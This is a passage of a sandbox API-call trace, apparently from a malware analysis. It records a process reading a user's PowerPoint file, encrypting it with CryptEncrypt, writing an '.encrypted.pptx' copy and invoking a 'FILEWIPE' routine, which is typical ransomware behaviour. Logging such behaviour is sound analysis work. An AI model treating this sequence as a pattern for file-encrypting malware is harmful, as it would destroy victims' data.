lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.750] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0023.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.751] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.751] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.751] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.751] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.751] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\-k2qi4d7o1ha.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.752] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.752] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.752] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.752] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0023.752] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\-k2qi4d7o1ha.encrypted.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.753] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.753] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.753] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.753] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.754] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.754] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0023.756] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6d4f, lpOverlapped=0x0) returned 1 [0023.756] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.759] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.760] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.761] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.761] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.761] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.761] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.761] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.761] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.761] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.761] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.762] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.762] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064a80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.762] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.762] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.763] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.763] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16d4f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16d50) returned 1 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.763] CharLowerBuffW (in: lpsz="byte[93521]", cchLength=0xb | out: lpsz="byte[93521]") returned 0xb [0023.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.765] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f42051f0*, pdwDataLen=0xe8f3dfdf68*=0x16d4f, dwBufLen=0x16d50 | out: pbData=0xe8f42051f0*, pdwDataLen=0xe8f3dfdf68*=0x16d50) returned 1 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.765] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.765] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.766] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.766] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.766] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.766] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.766] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.771] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.771] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.771] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.773] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.773] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.773] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.773] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.773] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.773] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.773] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.773] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.774] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.774] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.774] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.775] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.776] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.776] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 